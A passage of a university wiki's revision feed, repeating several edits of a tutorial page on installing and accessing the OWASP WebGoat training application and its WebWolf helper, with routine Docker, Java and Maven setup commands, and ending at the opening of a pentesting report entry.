&lt;br /&gt;
==== Standalone ====&lt;br /&gt;
&lt;br /&gt;
Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases&lt;br /&gt;
 &lt;br /&gt;
 java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar &lt;br /&gt;
&lt;br /&gt;
==== Run from the sources ====&lt;br /&gt;
&lt;br /&gt;
Clone GitHub Repository (Open Source)&lt;br /&gt;
&lt;br /&gt;
 git clone git@github.com:WebGoat/WebGoat.git&lt;br /&gt;
&lt;br /&gt;
Compile the Project using Java 17&lt;br /&gt;
&lt;br /&gt;
 cd WebGoat&lt;br /&gt;
 git checkout &amp;lt;&amp;lt;branch_name&amp;gt;&amp;gt;&lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw clean install &lt;br /&gt;
&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd clean install&lt;br /&gt;
&lt;br /&gt;
When the priject is compiled successfully we are ready to run the project. WebGoat is using Spring Boot. &lt;br /&gt;
 &lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw spring-boot:run&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd spring-boot:run&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access ===&lt;br /&gt;
* The landing page will be located at: http://localhost&lt;br /&gt;
* WebGoat will be located at: http://localhost:8080/WebGoat&lt;br /&gt;
* WebWolf will be located at: http://localhost:9090/WebWolf&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat1.png|thumb|none|500px|Web goat]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To gain access to the lessons and challenges, you need to register.&lt;br /&gt;
&lt;br /&gt;
=== WebGoat Lessons ===&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat Lessons are embedded in the WebGoat Tool. Here, various attack vectors are demonstrated using hands-on examples. In general, WebGoat contains&lt;br /&gt;
lessons, exercises and challenges. These lessons are divided into different categories and&lt;br /&gt;
contain several pages of information and exercises. The challenges are more demanding&lt;br /&gt;
and do not contain any hints. The current version 8.2.2 contains 10 lessons:&lt;br /&gt;
&lt;br /&gt;
* Broken Access Control&lt;br /&gt;
* Cryptographic Failures&lt;br /&gt;
* Injection&lt;br /&gt;
* Vuln &amp;amp; Outdated Components&lt;br /&gt;
* Identity &amp;amp; Auth Failure&lt;br /&gt;
* Security Logging Failures&lt;br /&gt;
* Server-Side Request forgery&lt;br /&gt;
&lt;br /&gt;
Each lesson contains further sub-chapters which each contain several pages. In the&lt;br /&gt;
first steps, the material is explained, and in the further steps it is explained by means&lt;br /&gt;
of exercises.&lt;br /&gt;
&lt;br /&gt;
In the future additional lessons corresponding to the following topics will be added:&lt;br /&gt;
&lt;br /&gt;
* Lesson about cryptography (In Progress)&lt;br /&gt;
* Lesson about path traversal (in progress)&lt;br /&gt;
* Session Management&lt;br /&gt;
* More password reset lessons&lt;br /&gt;
&lt;br /&gt;
== OWASP WebWolf ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Since the lessons of WebGoat cover very extensive concepts of penetration testing and&lt;br /&gt;
therefore build critical vulnerabilities into the local system to make lessons practically&lt;br /&gt;
implementable as well, OWASP decided to provide its own local tool called WebWolf.&lt;br /&gt;
WebWolf is automatically delivered with the installation of WebWolf. The tool acts as&lt;br /&gt;
a locally hosted attacker machine. This is to highlight more clearly which operations&lt;br /&gt;
need to be performed as the attacker and which need to be performed at the target&lt;br /&gt;
in order to successfully execute an exploit. Some lessons use WebWolf, for example,&lt;br /&gt;
to provide a file that must be loaded onto the target machine (e.g., for persistent XSS&lt;br /&gt;
attacks, which will be discussed in more detail later in the thesis) or to provide a&lt;br /&gt;
connection to the own environment (ReverseTCP). Since these services should not be&lt;br /&gt;
provided in the open and connected Internet, WebWolf was developed.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
WebWolf is an included tool that is directly in the repository (Git and DockerHub)&lt;br /&gt;
and should already be on the machine after downloading WebGoat. If the tool has&lt;br /&gt;
already been started via a Docker image, WebWolf is already running and should be&lt;br /&gt;
accessible at http://localhost:9090/WebWolf. If the repository is cloned locally in&lt;br /&gt;
standalone mode, the WebWolf Java Archive file still needs to be downloaded to start&lt;br /&gt;
it locally. This can be done with the following command. If WebWolf has been started&lt;br /&gt;
successfully, it will also be available under the above link.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 java -jar webwolf&amp;lt;&amp;lt;version&amp;gt;&amp;gt;.jar [--server.port=9090][server.address=localhost]&lt;br /&gt;
&lt;br /&gt;
=== Use ===&lt;br /&gt;
&lt;br /&gt;
WebWolf in the current version (8.2.2) provides the following functionalities:&lt;br /&gt;
&lt;br /&gt;
* File Hosting Service&lt;br /&gt;
* Landing Page for incoming requests&lt;br /&gt;
* Email Server with Client&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10505</id>
		<title>WebGoat</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10505"/>
		<updated>2023-01-02T15:20:11Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a tutorial and info site on the OWASP&#039;s vulnerable web application WebGoat.&lt;br /&gt;
&lt;br /&gt;
== OWASP WebGoat ==&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually. &lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) &amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which is supported by Java 17&lt;br /&gt;
* Java 17 OR&lt;br /&gt;
* Docker Desktop &lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. It is a demonstration of common server-side application flaws. The exercises are intended to be used by people to learn about application security and penetration testing techniques.&amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 08.01.2022. [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Installation Instructions ===&lt;br /&gt;
&lt;br /&gt;
==== Run with Docker ====&lt;br /&gt;
&lt;br /&gt;
Need to insall Docker first, then you can install WebGoat as Docker Image.&lt;br /&gt;
&lt;br /&gt;
 sudo apt install docker.io&lt;br /&gt;
 sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2&lt;br /&gt;
&lt;br /&gt;
==== Standalone ====&lt;br /&gt;
&lt;br /&gt;
Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases&lt;br /&gt;
 &lt;br /&gt;
 java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar &lt;br /&gt;
&lt;br /&gt;
==== Run from the sources ====&lt;br /&gt;
&lt;br /&gt;
Clone GitHub Repository (Open Source)&lt;br /&gt;
&lt;br /&gt;
 git clone git@github.com:WebGoat/WebGoat.git&lt;br /&gt;
&lt;br /&gt;
Compile the Project using Java 17&lt;br /&gt;
&lt;br /&gt;
 cd WebGoat&lt;br /&gt;
 git checkout &amp;lt;&amp;lt;branch_name&amp;gt;&amp;gt;&lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw clean install &lt;br /&gt;
&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd clean install&lt;br /&gt;
&lt;br /&gt;
When the priject is compiled successfully we are ready to run the project. WebGoat is using Spring Boot. &lt;br /&gt;
 &lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw spring-boot:run&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd spring-boot:run&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access ===&lt;br /&gt;
* The landing page will be located at: http://localhost&lt;br /&gt;
* WebGoat will be located at: http://localhost:8080/WebGoat&lt;br /&gt;
* WebWolf will be located at: http://localhost:9090/WebWolf&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat1.png|thumb|none|500px|Web goat]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To gain access to the lessons and challenges, you need to register.&lt;br /&gt;
&lt;br /&gt;
=== WebGoat Lessons ===&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat Lessons are embedded in the WebGoat Tool. Here, various attack vectors are demonstrated using hands-on examples. In general, WebGoat contains&lt;br /&gt;
lessons, exercises and challenges. These lessons are divided into different categories and&lt;br /&gt;
contain several pages of information and exercises. The challenges are more demanding&lt;br /&gt;
and do not contain any hints. The current version 8.2.2 contains 10 lessons:&lt;br /&gt;
&lt;br /&gt;
* Broken Access Control&lt;br /&gt;
* Cryptographic Failures&lt;br /&gt;
* Injection&lt;br /&gt;
* Vuln &amp;amp; Outdated Components&lt;br /&gt;
* Identity &amp;amp; Auth Failure&lt;br /&gt;
* Security Logging Failures&lt;br /&gt;
* Server-Side Request forgery&lt;br /&gt;
&lt;br /&gt;
Each lesson contains further sub-chapters which each contain several pages. In the&lt;br /&gt;
first steps, the material is explained, and in the further steps it is explained by means&lt;br /&gt;
of exercises.&lt;br /&gt;
&lt;br /&gt;
In the future additional lessons corresponding to the following topics will be added:&lt;br /&gt;
&lt;br /&gt;
* Lesson about cryptography (In Progress)&lt;br /&gt;
* Lesson about path traversal (in progress)&lt;br /&gt;
* Session Management&lt;br /&gt;
* More password reset lessons&lt;br /&gt;
&lt;br /&gt;
== OWASP WebWolf ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Since the lessons of WebGoat cover very extensive concepts of penetration testing and&lt;br /&gt;
therefore build critical vulnerabilities into the local system to make lessons practically&lt;br /&gt;
implementable as well, OWASP decided to provide its own local tool called WebWolf.&lt;br /&gt;
WebWolf is automatically delivered with the installation of WebWolf. The tool acts as&lt;br /&gt;
a locally hosted attacker machine. This is to highlight more clearly which operations&lt;br /&gt;
need to be performed as the attacker and which need to be performed at the target&lt;br /&gt;
in order to successfully execute an exploit. Some lessons use WebWolf, for example,&lt;br /&gt;
to provide a file that must be loaded onto the target machine (e.g., for persistent XSS&lt;br /&gt;
attacks, which will be discussed in more detail later in the thesis) or to provide a&lt;br /&gt;
connection to the own environment (ReverseTCP). Since these services should not be&lt;br /&gt;
provided in the open and connected Internet, WebWolf was developed.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
WebWolf is an included tool that is directly in the repository (Git and DockerHub)&lt;br /&gt;
and should already be on the machine after downloading WebGoat. If the tool has&lt;br /&gt;
already been started via a Docker image, WebWolf is already running and should be&lt;br /&gt;
accessible at http://localhost:9090/WebWolf. If the repository is cloned locally in&lt;br /&gt;
standalone mode, the WebWolf Java Archive file still needs to be downloaded to start&lt;br /&gt;
it locally. This can be done with the following command. If WebWolf has been started&lt;br /&gt;
successfully, it will also be available under the above link.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 java -jar webwolf&amp;lt;&amp;lt;version&amp;gt;&amp;gt;.jar [--server.port=9090][server.address=localhost]&lt;br /&gt;
&lt;br /&gt;
=== Use ===&lt;br /&gt;
&lt;br /&gt;
WebWolf in the current version (8.2.2) provides the following functionalities:&lt;br /&gt;
&lt;br /&gt;
* File Hosting Service&lt;br /&gt;
* Landing Page for incoming requests&lt;br /&gt;
* Email Server with Client&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10504</id>
		<title>WebGoat</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10504"/>
		<updated>2023-01-02T14:17:32Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a tutorial and info site on the OWASP&#039;s vulnerable web application WebGoat.&lt;br /&gt;
&lt;br /&gt;
== OWASP WebGoat ==&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually. &lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) &amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which is supported by Java 17&lt;br /&gt;
* Java 17 OR&lt;br /&gt;
* Docker Desktop &lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. It is a demonstration of common server-side application flaws. The exercises are intended to be used by people to learn about application security and penetration testing techniques.&amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 08.01.2022. [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Installation Instructions ===&lt;br /&gt;
&lt;br /&gt;
==== Run with Docker ====&lt;br /&gt;
&lt;br /&gt;
Need to insall Docker first, then you can install WebGoat as Docker Image.&lt;br /&gt;
&lt;br /&gt;
 sudo apt install docker.io&lt;br /&gt;
 sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2&lt;br /&gt;
&lt;br /&gt;
==== Standalone ====&lt;br /&gt;
&lt;br /&gt;
Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases&lt;br /&gt;
 &lt;br /&gt;
 java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar &lt;br /&gt;
&lt;br /&gt;
==== Run from the sources ====&lt;br /&gt;
&lt;br /&gt;
Clone GitHub Repository (Open Source)&lt;br /&gt;
&lt;br /&gt;
 git clone git@github.com:WebGoat/WebGoat.git&lt;br /&gt;
&lt;br /&gt;
Compile the Project using Java 17&lt;br /&gt;
&lt;br /&gt;
 cd WebGoat&lt;br /&gt;
 git checkout &amp;lt;&amp;lt;branch_name&amp;gt;&amp;gt;&lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw clean install &lt;br /&gt;
&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd clean install&lt;br /&gt;
&lt;br /&gt;
When the priject is compiled successfully we are ready to run the project. WebGoat is using Spring Boot. &lt;br /&gt;
 &lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw spring-boot:run&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd spring-boot:run&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Access ==&lt;br /&gt;
* The landing page will be located at: http://localhost&lt;br /&gt;
* WebGoat will be located at: http://localhost:8080/WebGoat&lt;br /&gt;
* WebWolf will be located at: http://localhost:9090/WebWolf&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat1.png|thumb|none|500px|Web goat]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To gain access to the lessons and challenges, you need to register.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10503</id>
		<title>WebGoat</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10503"/>
		<updated>2023-01-02T14:16:36Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a tutorial and info site on the OWASP&#039;s vulnerable web application WebGoat.&lt;br /&gt;
&lt;br /&gt;
== OWASP WebGoat ==&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually. &lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) &amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which is supported by Java 17&lt;br /&gt;
* Java 17 OR&lt;br /&gt;
* Docker Desktop &lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. It is a demonstration of common server-side application flaws. The exercises are intended to be used by people to learn about application security and penetration testing techniques.&amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 08.01.2022. [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Installation Instructions ==&lt;br /&gt;
&lt;br /&gt;
=== Run with Docker ===&lt;br /&gt;
&lt;br /&gt;
Need to insall Docker first, then you can install WebGoat as Docker Image.&lt;br /&gt;
&lt;br /&gt;
 sudo apt install docker.io&lt;br /&gt;
 sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2&lt;br /&gt;
&lt;br /&gt;
=== Standalone ===&lt;br /&gt;
&lt;br /&gt;
Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases&lt;br /&gt;
 &lt;br /&gt;
 java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar &lt;br /&gt;
&lt;br /&gt;
=== Run from the sources ===&lt;br /&gt;
&lt;br /&gt;
Clone GitHub Repository (Open Source)&lt;br /&gt;
&lt;br /&gt;
 git clone git@github.com:WebGoat/WebGoat.git&lt;br /&gt;
&lt;br /&gt;
Compile the Project using Java 17&lt;br /&gt;
&lt;br /&gt;
 cd WebGoat&lt;br /&gt;
 git checkout &amp;lt;&amp;lt;branch_name&amp;gt;&amp;gt;&lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw clean install &lt;br /&gt;
&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd clean install&lt;br /&gt;
&lt;br /&gt;
When the priject is compiled successfully we are ready to run the project. WebGoat is using Spring Boot. &lt;br /&gt;
 &lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw spring-boot:run&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd spring-boot:run&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Access ==&lt;br /&gt;
* The landing page will be located at: http://localhost&lt;br /&gt;
* WebGoat will be located at: http://localhost:8080/WebGoat&lt;br /&gt;
* WebWolf will be located at: http://localhost:9090/WebWolf&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat1.png|thumb|none|500px|Web goat]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To gain access to the lessons and challenges, you need to register.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10502</id>
		<title>WebGoat</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WebGoat&amp;diff=10502"/>
		<updated>2023-01-02T14:14:31Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a tutorial and info site on the OWASP&#039;s vulnerable web application WebGoat.&lt;br /&gt;
&lt;br /&gt;
== OWASP WebGoat ==&lt;br /&gt;
&lt;br /&gt;
The OWASP WebGoat project provides an insecure web application that demonstrates the most common client-side application flaws and explains and tests the vulnerabilities from the OWASP Top 10. Lessons, exercises and challenges are provided to give interested developers hands-on experience to test and better understand the material. When starting each lesson, the user is provided with content and interactive questions about the already explained material or demonstrations of the explained functionality through a dialog from different pages. The learning of the content is thus brought to the user in a playful, hands-on experience. The lessons are structured strictly according to the OWASP Top 10 and can be tested and reviewed individually. &lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
There are three possible ways to install the programm: Standalone, Docker Image and cloning the repository (open source) &amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 02.01.2023, [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which is supported by Java 17&lt;br /&gt;
* Java 17 OR&lt;br /&gt;
* Docker Desktop &lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. It is a demonstration of common server-side application flaws. The exercises are intended to be used by people to learn about application security and penetration testing techniques.&amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 08.01.2022. [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Installation Instructions ==&lt;br /&gt;
&lt;br /&gt;
* Run via Docker&lt;br /&gt;
&lt;br /&gt;
Need to insall Docker first, then you can install WebGoat as Docker Image.&lt;br /&gt;
&lt;br /&gt;
 sudo apt install docker.io&lt;br /&gt;
 sudo docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2&lt;br /&gt;
&lt;br /&gt;
* Standalone&lt;br /&gt;
&lt;br /&gt;
Download .jar file (Java Archive file) from https://github.com/WebGoat/WebGoat/releases&lt;br /&gt;
 &lt;br /&gt;
 java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-8.2.3.jar &lt;br /&gt;
&lt;br /&gt;
* Run from the sources&lt;br /&gt;
&lt;br /&gt;
Clone GitHub Repository (Open Source)&lt;br /&gt;
&lt;br /&gt;
 git clone git@github.com:WebGoat/WebGoat.git&lt;br /&gt;
&lt;br /&gt;
Compile the Project using Java 17&lt;br /&gt;
&lt;br /&gt;
 cd WebGoat&lt;br /&gt;
 git checkout &amp;lt;&amp;lt;branch_name&amp;gt;&amp;gt;&lt;br /&gt;
 # On Linux/Mac:&lt;br /&gt;
 ./mvnw clean install &lt;br /&gt;
&lt;br /&gt;
 # On Windows:&lt;br /&gt;
 ./mvnw.cmd clean install&lt;br /&gt;
&lt;br /&gt;
== Access ==&lt;br /&gt;
* The landing page will be located at: http://localhost&lt;br /&gt;
* WebGoat will be located at: http://localhost:8080/WebGoat&lt;br /&gt;
* WebWolf will be located at: http://localhost:9090/WebWolf&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat1.png|thumb|none|500px|Web goat]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To gain access to the lessons and challenges, you need to register.&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10402</id>
		<title>IP Cameras Pentesting Report</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10402"/>
		<updated>2022-07-26T16:49:11Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Article is a comprehensive descirption of a pentesting process regarding three IP Cameras ABUS PPIC32020, Blink-Mini and TP-Link NC200. In the further course of this Report the Methology of the Information Gathering Process will be pointed out, afterwards the gathered information will be analysed. With the analysis of the gathered information vulnerabilities will be pointed out. We will form attack vectors, exploit this vulnerabilites and recommend countermesaures for the vendors to make their systems more secure.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
In order to perform the Exploits the following tools were needed. &lt;br /&gt;
